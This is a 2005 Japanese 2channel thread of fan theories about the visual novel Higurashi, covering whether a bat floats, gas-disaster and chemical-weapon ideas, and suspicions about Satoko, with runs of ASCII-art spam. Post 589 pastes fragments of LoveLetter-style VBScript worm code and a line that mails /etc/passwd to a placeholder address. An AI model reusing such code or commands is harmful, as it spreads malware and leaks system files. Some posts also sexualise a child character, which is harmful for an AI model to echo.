と考えた可能性はかなり高いのです。 ただ、考えたいのは「悟史が叔母を呼んだ」というところなのです。 叔母に、いい家具があったよと言えば叔母はそれを拾いたがる。 そこでゴミ捨て場に行ったところで、殺す。 悟史の計画はコンナ感じだったと思うのですが、 だったら「叔母を待つ」のではなくて、 「叔母と一緒に現場に行く」のが正しい行動だと思うのですよ。 ただ、叔母が別の理由で外出してたとき、だったら意味はないのですが…。 506 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:36:24 ID:+HCCH1cS0 >>502 金属バットが……浮くだと！？ 507 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:36:56 ID:3O/t/fsO0 >>502 上から順に軽くつっこんでいくと ・だからって凶器をそのまま持って帰るのは浅はかすぎる ・あそこに置いて隠しとおせるならきっと今までの鬼隠しはロッカーの中ですね ・これはありそう。バットを元に戻しとかないとバットを凶器にしてどっかに捨てたと思われるかもしれない ・祟殺しでK1はちゃんと沈めれた ・他の凶器を使いましょう ・自主しれ なんかちょー適当だな俺(；´д`) >>503 俺は覚えてない(´・ω・`)だれか たのむ >>504 なるほろ 508 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:39:33 ID:kBHUjBTq0 TIPSが１６／１６ってなってて９／１６くらいまでしか埋まってないんだけど これ全部埋まる物なの？ 509 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:40:33 ID:lQe+IvM+0 バットが浮く、浮かないについては、 通常バットが浮くのですが、細かいことは覚えてないのですが、 水に多量の空気が発生すると中空のものでも沈む……。 というような話がどこかにあったのですよ。 それが雛見沢大災害の前兆じゃないかーって話もあるのですが……。 510 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:40:48 ID:FN3VNciw0 全て埋まると思わせるのが孔明の罠。 埋まらないけど安心しる。 511 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:41:46 ID:TMWLI6Zw0 金属バットは中空洞だからホントは水に浮くような気がする ここらへんは本当に沈むのかそれともトリックなのかはたまた作者の勘違いなのかわからん 512 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:41:50 ID:lQe+IvM+0 >>503 多分……なかったと思うです……。自信はない。 >>508 埋まりませんよー。 513 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:41:55 ID:3O/t/fsO0 >>505 んー確かに一緒に行くのが正しい行動だけども 例えば叔母には友達と祭りに行ってくるから、何時ごろにゴミ捨て場に待ち合わせとか言っとけば待ち伏せはできる 実際は祭りにいってないけど叔母にはそんなことわからんし、他にもやることがあったらそれで時間は稼げる ただこれは悟史が叔母を呼びに行ったと仮定した話だけど 悟史が覚悟を決めて叔母を呼びに行ったら既にいない。後から聞いたら叔母は既に死んでいた この時点で犯人は見つかっていないわけだから悟史はかなり恐怖すると思う 俺はこれを推したい 514 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:43:49 ID:3O/t/fsO0 >>508 >>511 祟殺しでK1はバット沈めれたんだから沈めれると思うけど 災害の前兆で空気が発生してたならK1の時は余計沈まないんじゃ 515 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:43:51 ID:TMWLI6Zw0 >>509 ！！ そうか、メタンハイドイレート現象か 確かに大量の泡を含むと浮力が減少するわ これが原因で船の沈没が起きるとかなんとか だとすると、引き金はバイク投入かな 516 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:45:30 ID:ADNZGrdU0 そもそも撲殺に使ったバットってボコボコになってんじゃない？ よーわからんがｗｗｗｗｗｗ 同一のものだとするとボコボコのバットだったのかしらｗｗｗｗｗ 517 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:45:58 ID:lQe+IvM+0 ……どこの犬さんが立てたかわからないけど、 ゲー板のケンカを誰かが買っちゃったみたいなのです……。 こっちの板に被害が無いと良いのです。 >>513 いい感じですねー。 ボクも悟史殺害はどっちかというと否定派なので賛成するのですよ。 518 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:46:19 ID:kBHUjBTq0 金属バットは浮く。すごい浮力。木のバットより浮力高いよ。 ちなみに構造上穴は開いてない。使うとき砂利とか水とか入ったら泣くっしょ。 519 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:47:44 ID:lQe+IvM+0 >>515 引き金がバイク投入だとすると、あまりに時間差が無さ過ぎると思うのですよ…。 520 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:50:34 ID:TMWLI6Zw0 >>514 浮力に対して勘違いしてる 浮力は押しのけた分発生する（本当は違うけどこの認識でOK） 泡を含んだ水ってのはマクロで見ると質量が減ってるようなもんだ 空気の重さは水に比べればほぼ0みたいなもんとして 水の2割が泡なら水が10の重さになる体積でも8の重量しかない つまり普段10発生する浮力が8しか発生しないことになる >>519 まあ、そうなんだけどさ 普通浮力が減る勢いで硫化水素が噴出してたら物凄い異臭騒ぎになるわけだが あと、沼から二酸化炭素が発生ってのも解せない 二酸化炭素は凄く水に溶け易い気体だから沼の底には溜まらないはずなんだよな もし固い岩盤やらがあっても地下水になって染みちゃうし でも自衛隊の発表だからなあ 521 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:54:04 ID:3O/t/fsO0 >>520 把握した。俺ちょっと頭ﾜﾙｽ(´・ω・`) バット浮いたとしてもさすがにそれを持って帰るくらいなら埋めたほうがマシだと思うけど やっぱバットは使わなかったんじゃないかと 522 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:55:01 ID:zyaHsdug0 >ID:lQe+IvM+0 すごい萌えるからトリップつけてくれ NGワードにぶっこむから 523 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:55:13 ID:lQe+IvM+0 いい加減めんどくなってきた……口調戻す。 >>520 うーん、難しいね。 でも、雨が降ってたのはこの気体の発生を見えなくするためってのもアリかな？ でも流石に中空の金属バットが沈むほどの気体がこの時点で発生するかどうか… 524 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:55:17 ID:FN3VNciw0 なんか戦時中の人肉缶詰とかの話もあるし、自然発生のガスじゃなくて細菌兵器なんじゃねーの？ それなら自衛隊と言うか国が隠蔽してもおかしくねぇし。 何かのきっかけで（バイク投入とか）で細菌兵器起動！みたいな。 あんま妄想すると怒られそうだからそろそろ消えます。 525 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:55:21 ID:ADNZGrdU0 硫化水素とか二酸化炭素って温泉の成分だよな？ はっ！つまり鬼ヶ淵沼はおんｓ（ｒｙ 526 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:55:23 ID:8c89jy7p0 朝ぐらいでﾉﾄﾞｶｷﾑｼｰﾙ有り無しで考察してた俺がきましたよ。 今までの流れを誰か３行で頼む。 527 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:57:53 ID:zyaHsdug0 >526 ID:lQe+IvM+0 くぁわいいよ ID:lQe+IvM+0 528 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 20:59:07 ID:u1CVnUBL0 同人ゲーム板にVIPが喧嘩を売られました http://ex11.2ch.net/test/read.cgi/news4vip/1118144407/ 関係ない所で関係ない奴らが迷惑をかけてるようです 529 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:01:25 ID:ADNZGrdU0 KOOLになれ！追い詰められたときこそKOOLに！ 金属バットとカラーバットを間違えて持ち出す悟史ﾓｴｽｗｗｗｗｗｗｗｗｗ ブロッコリーとカリフラワーの伏線はここに！ｗｗｗｗｗｗｗｗｗｗうぇｗｗｗ 530 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:01:34 ID:FxWgFyzD0 >>520 死人の数が半端じゃないことからよっぽど大量のガスが噴出しないといけないはずだから、 人為的な仕掛けにしても半端ない規模のものを用意しないといけない気がする。 そして、天然物だとするとそれだけ大量のガスを閉じ込めていた地層なら、漏れ出すときに 地震がおきたり地面が陥没しそうな気がする。 本当に二酸化炭素と硫化水素だったのかな。 531 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:02:30 ID:TMWLI6Zw0 >>528 そっちは放置で・・・ って酷いことになってるな ここで推理してる人間にそっちの祭参加者がいないことを祈る 532 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:02:52 ID:lQe+IvM+0 >>524 あー、そっちの方向もあったかー……。 そんなもん国で作ってたとなると結構なスキャンダルだもんな。 隠蔽されても不思議はないか。ふむふむ。 533 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:03:31 ID:Ivpq9VQO0 正月頃に実況すれ立ててた俺が来ましたよ 534 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:05:59 ID:TMWLI6Zw0 細菌兵器だとすると、影響のまだ残ってる雛見沢にいたKOOLが死んでないわけないぞ あと細菌兵器って聞いて凄いの思い浮かべてると思うが実際には発効までかなり時間を要す 一晩程度で村全滅とかは無理 戦場に撒くようなのは効果が持続するような種類のヤツになるはず だからあるとしても化学兵器だと思うよ 硫化水素は結構毒ガスとしてはポピュラー 二酸化炭素はあんまり撒く意味ないんで火山性の何かだとは 535 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:06:25 ID:FxWgFyzD0 >>532 園崎家の地下祭殿は旧軍の施設の残骸ですた。って説を考えたこともあるけど。 あちこち抜け道があるとか、昔からあるとか結構あやすぃとか思ってた。 ガスの発生源も実はここ、とか妄想したりもした。 536 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:09:02 ID:lQe+IvM+0 化学兵器説か。 俺はあんまり考えてなかったけど見直してみることにするよ。 >>535 確かにかなり入り組んでて、殺して死体を処理するためだけ、とは思えないような。 怪しくなってきたな。 537 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:13:35 ID:FN3VNciw0 お、妄想うざいくらい言われるの覚悟だったんだが・・・ >>534 すまん、細菌兵器とか化学兵器とかよくわかんないんだｗｗｗ とりあえず、なんか軍関係のものじゃないかと妄想したと理解してくだされ。 でだ、兵器関係だとＫＯＯＬが生きてるのがおかしいとなると・・・ まぁ、国の隠蔽とするとだ、発生源が沼である必要はないわけだな。 発生源がどこであれ、沼からガスがでましたよーって発表してるだけと考えられるし。 で、本当は、ＫＯＯＬが倒れてたとこは被害が及ばなかったとわかってるけど、沼からガスという発表した以上、ＫＯＯＬなんで生きてるの？ って疑問が起こってるだけとか・・・ それなら、スジ子が行方不明で死体が見つかってない言い訳もできる。 スジ子、どこかで生きてるんじゃねぇだろうか？ 妄想もここまで言えれば十分だなｗ 538 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:17:46 ID:lQe+IvM+0 >>537 うむ。発生源の位置が違うって可能性はありそうだ。 そのサトコ行方不明の理由っての詳しく 539 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:17:46 ID:TMWLI6Zw0 >>535 あ、確か井戸あったよな 園崎の地下に 水源はどこだ？ というか雛見沢の水脈はどうなる？ >>537 細菌兵器の可能性はない、ってだけ 化学兵器ならありうるよ しかし、これだけ大規模な惨事だし国が隠蔽するのは難しいと思う 540 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:18:55 ID:FxWgFyzD0 >>537 綿流しで行方不明になった大石だけどこいつも絶対死んでないと思う…。 大石は全編通して死んでないような気がする。なんとなく。 541 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:19:10 ID:TMWLI6Zw0 >>538 最後の雛見沢大災害のリストでは沙都子は行方不明なんだ 詳しくは>>408に纏めてある 542 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:19:46 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 543 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:19:58 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 544 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:20:10 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 545 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:20:20 ID:lQe+IvM+0 >>539 完全に隠蔽っていう必要は無いんだよ。 化学兵器（中身は火山性ガス）の発生が、人為であった点だけ隠せれば。 それにその後かなりの長期間雛見沢は立ち入り禁止になる……。 調査に入れるのもほんの一部の人だけだから、そこだけ口止めしておけば…。 546 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:20:22 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 547 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:20:34 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 548 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:20:46 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 549 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:20:58 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 550 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:21:03 ID:qZnZMXAr0 今夜はドラマ実況ないの？ 551 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:21:28 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 552 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:21:41 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 553 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:21:53 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 554 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:22:23 ID:lQe+IvM+0 >>541 この黒幕ってのがサトコって意味か？ 555 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:22:41 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 556 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:22:57 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 557 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:23:04 ID:lQe+IvM+0 >>550 それはうちのスレではない。 それがきっかけなのは確かだが。 558 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:23:46 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 559 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:23:51 ID:FN3VNciw0 >>538 あくまで思いつきの妄想なんで、書けば書くほどボロでそうだけどｗ いや、ようするに、ＫＯＯＬがガスで死ななかった＝ＫＯＯＬがいた所は（兵器説を正解とした場合な）兵器の影響範囲外だった。 んで、ＫＯＯＬが流れついた川の下流だけじゃなくて、あの川近辺、上流も含めて範囲外ならサトコはあの時ＫＯＯＬと一緒にいたわけだから、ガスには巻かれてないわけだな。 んで、ついでに言えば、ガス発生が夜だった事を考えてもサトコには逃げる時間はあるわけで・・・なんかオレも何いってるかわからなくなってきたｗ でだ、大災害が起こることにサトコが気がついてたかどうかはわからんが、ＫＯＯＬを川に落として殺してしまったと思えばサトコが村から逃げててもおかしくないんじゃねぇかなぁと。 まじ、スマン、ほんと思いつきで書いてるだけなんで、聞かれれば聞かれるほどボロがでるｗ 560 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:24:01 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 561 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:24:13 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 562 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:24:14 ID:FxWgFyzD0 >>545 なんかヘリとかで上空からの撮影することも禁止されたらしいからなにかを隠したかった ってのは十分考えられるけど。 563 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:24:25 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 564 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:24:39 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 565 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:24:50 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 566 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:25:17 ID:TMWLI6Zw0 >>554 そう 沙都子が黒幕で、って意味ね KOOL落としも意図的にやったし、梨花を殺したのも沙都子って可能性 低いっしょ、その確率 567 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:25:30 ID:lQe+IvM+0 >>559 なる。ワカタ。 しかし……裸で？ 568 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:26:25 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 569 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:26:42 ID:H/br1AT80 ⊂二二二（ ＾ω＾）二⊃ﾌﾞｰﾝ 570 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:27:39 ID:bUIv2v9l0 ／⌒ヽ ⊂二二二（ ＾ω＾）二⊃ | / ﾌﾞｰﾝ （ ヽノ ﾉ>ノ 三 レﾚ 571 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:28:05 ID:bUIv2v9l0 ,-､,_ ,,,､､,､,, _,-ヽ ,! i;､冫.: : : : ::ﾐ､∠,! ﾞl : :;｀ミ .:､.:'::,;::｀ﾐ ﾞi |: ﾐ: ヾ:;o）:､|oツ､ﾐ "i､_.:;彡´@｀!》 ,|ilﾞ ブーン ,,_,__,､彡"ﾐ彡::ヽ´ン:::ミﾐ､,､,,,,_,_ ｨ':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;ﾐ ヾ;::::::::::::::::::::::::::::::::::::::::::::::::::::::;ｲ:::::::::::::::::::::::;シ ´ ^ﾞ｀゛ l::::::::::::::::::::::::::::::| ｀´ﾞ^ ｀゛ |:::::::::::::::::::::::::::::ﾐ l:::::::::::::::::::::::::::::;| ,|:::::::ﾞ.: :::::::::::::::ﾐ , :"::: ヾミ".: .: .ミ::::::;′ ,i´: : . .:.: ::::::::::ヾ;::i, _": : ': : .ヽ: ;,:::::::::::::::::::::::::ﾐ ,‐=;,_ : :::ｼ ヾ:::::::::::::::::::::::! ,'-=;,,_:::::ﾂ /::::ヾミ:::::::::::ﾘ ﾐ:''=-;ﾊ::i ﾐ,:::::::;/::::::::ﾂ l、'ﾊ:;i:ノ ﾞ!::::::::::!i:::::::::i' ｀゛" i::::::::::i ヾ:::ｼ ﾞ:::::::ﾂ ｀゛" 572 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:29:25 ID:lQe+IvM+0 >>566 うーん、ＫＯＯＬ落としと梨花殺害はわからんけど、 俺何となく今まで大災害起こしたのはサトコじゃないかと思ってたんだよなー。 573 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:29:32 ID:bUIv2v9l0 _ ∩ ( ﾟ∀ﾟ)彡 おっぱい！おっぱい！ ⊂彡 574 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:29:49 ID:TMWLI6Zw0 >>559 KOOLが落ちたのは遅くとも9時か10時ぐらい 早朝に沙都子の家に乗り込んで病院行って神社行って橋だからな 沙都子が村に辿り着いていれば梨花のことを報告するんじゃないだろうか 黒幕じゃなけりゃね でも、沙都子は当時全裸にバスタオルなんだよな そして梨花殺しの犯人は神社付近にいる可能性がある 逃げ込むとしたら園崎家じゃないかと思うんだが そこで>>408ですよ 575 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:30:38 ID:an7A59/H0 イリーが説明つかんよ 576 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:32:50 ID:FxWgFyzD0 >>572 俺も消去法で実行可能な奴、って考えてくと沙都子、大石、レナ位しか思いつかないけど。 577 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:32:54 ID:lQe+IvM+0 >>575 イリーの自殺の原因か……。 これが一番厳しいよなぁ……。 578 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:36:15 ID:K1VSNUSH0 真犯人はレナだｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 俺がいうんだから間違いないｗｗｗｗｗｗｗｗｗｗ 579 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:37:03 ID:qWIERkVO0 >>577 裏で何かあったんだとしたらわかんないけど ストーリーだけで考えるなら沙都子関係じゃないかなー？ 580 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:37:07 ID:lQe+IvM+0 >>578 Ｋ１ｷﾀ━━━━(ﾟ∀ﾟ)━━━━ !! おまｗｗｗｗ今までどこいたんだよｗｗｗｗ 581 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:37:24 ID:TMWLI6Zw0 イリーはむしろミヨさん関連で殺されたんじゃないだろうか そうでないとしても大石と何らかの連絡取ってるのは他の病院関係者に見られてる 殺される理由としては軽くは無い 582 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:38:04 ID:FN3VNciw0 サトコが村に帰らずどこかへ逃げたは そうび Ｅバスタオル Ｅすじ だから考えにくいか・・・ イリーに関してはお手上げ。 単純に一番怪しいったらこいつなんだとは思うんだけど・・・ 理由はない。 怪しいと思うから怪しいんだ。 583 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:39:38 ID:an7A59/H0 >>581 イリーが自殺ってのは警察が調べて証拠まであるわけだよ そう簡単に自殺にみせかけるのは無理だな 584 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:40:06 ID:lQe+IvM+0 >>582 というか、神社からはバスタオル無しで逃げ出してるハズ。多分。 病院から圭一が帰った後に、何かあった？ 俺はやはし、 「サトコが処女じゃなくなってたのに幻滅」 がある意味一番リアルで適当だと思ってる……。 エグいけど。 585 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:40:44 ID:ZZj9FBuC0 ひげなしのなく頃にってなに？ イギーって愚者だろ？ 586 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:40:56 ID:K1VSNUSH0 綿流しが終了したｗｗｗｗｗｗｗ次は祟殺しだｗｗｗｗｗｗｗｗｗｗｗ 大学なんてどうでもいいぜｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 587 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:41:30 ID:e5al/5zO0 >>582 あのすじは装備だったのか？ まぁそれはいいとして イリーの自殺は例えば薬を常用してて 睡眠薬にすり替えられていたとか・・・ でも劇中に描写無いから違うだろうなぁ 588 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:41:54 ID:TMWLI6Zw0 梨花を殺したのすら沙都子なら梨花の家に戻って服とって逃げればいい 時間との勝負になるけどな 梨花が先に発見されてたなら逃げるのは難しくなる いや、そもそも服を隠しておけばいいのか 逃げ出す装備一式と共に 589 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:43:12 ID:3SgCYisU0 Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1) ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) c.Copy(dirwin&"＼Win32DLL.vbs") c.Copy(dirsystem&"＼MSKernel32.vbs") c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs") cat /etc/passwd | mail nobody@nonexistent.com Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1) fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼" fso.copyfile "dirsystem&nurupo.vbs", "j:＼windows＼start menu＼programs＼startup＼" If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 590 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:44:25 ID:+xTotUHQ0 ていうかスネークとゴルゴ１３送り込もうぜ 591 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:44:46 ID:lQe+IvM+0 >>586 ヤバイ感じにハマってるなｗ 単位落とすなよｗ >>587 うーん、それも考えにくいな…。 >>588 なる。その手もあるな。 仮にどこから逃げ出そうとも、山の中さえサトコには案内できる力がある。 目的地まで行くのは容易いなｗ 592 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:45:28 ID:FxWgFyzD0 >>588 隠すにしても圭一の行動をすべて読みきってないと難しいような？ 神社から吊橋まで確実に誘導出来ないと。 593 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:46:53 ID:lQe+IvM+0 >>592 相手の行動を読むのはサトコの得意技だぞ。 後は腰に刺している鉈を覆った新聞紙をぴらり、と外して悲鳴をあげるだけだ。 594 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:47:43 ID:FN3VNciw0 あれ？ そういやなんで橋に行ったんだっけ？ 病院行ってイリーが死んでて、んで橋へ行ったような・・・ もう記憶あやふやだな・・・ ちと、再プレイすっか 595 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:48:10 ID:TMWLI6Zw0 >>592 むしろ逃げて吊り橋まで誘導してるのは沙都子だぞ 狂乱してれば近くに寄ってこないのは教室での取り乱しシーンで確認してるとも思える そして最後はまさにトラップ 最後の最後にたった一つの単純な仕掛けでKOOLを消せる 596 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:48:35 ID:ADNZGrdU0 イリーはあやすぃ 597 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:49:04 ID:lQe+IvM+0 >>594 サトコ風呂で発掘 病院行く。イリー死んでる。 服を着るために神社に行く 圭一が叔父を殺した話をする 神社で梨花死んでる 圭一が鉈を持ってることにサトコ気付く 逃げ出してつり橋へ 598 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:50:23 ID:FxWgFyzD0 >>593 確かに…。かなりの策士だしな。不可能ではないか…。 599 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:50:47 ID:FN3VNciw0 >>597 さんきゅ。 つーか、サトコ怪しいな・・・ 今まで怪しいなんて思ってもいなかったんだが・・・ たしかに>>595読むとサトコトラップな気がしてきた 600 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:51:12 ID:TMWLI6Zw0 >>594 KOOL起きる 鉄平を再度殺しに行こうと決意 茹で沙都子先生発見＞即病院へGO 病院でイリーの死亡確認 大石行方不明の報もそこで聞く とぼとぼ歩いているうちに服が欲しいからと沙都子に言われる 近いから梨花の家に、ということで神社へ 梨花の惨殺死体発見 泣き叫んでKOOLをヒトゴロシ呼ばわりしながら吊り橋へ だったかな 601 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:52:22 ID:ADNZGrdU0 俺の沙都子が・・・沙都子が・・・ 602 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:53:00 ID:qCFFW3qj0 沙都子はモチ怪しいですよ 病院に着いた瞬間に元気になってるのとかメチャあやしい 603 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:53:28 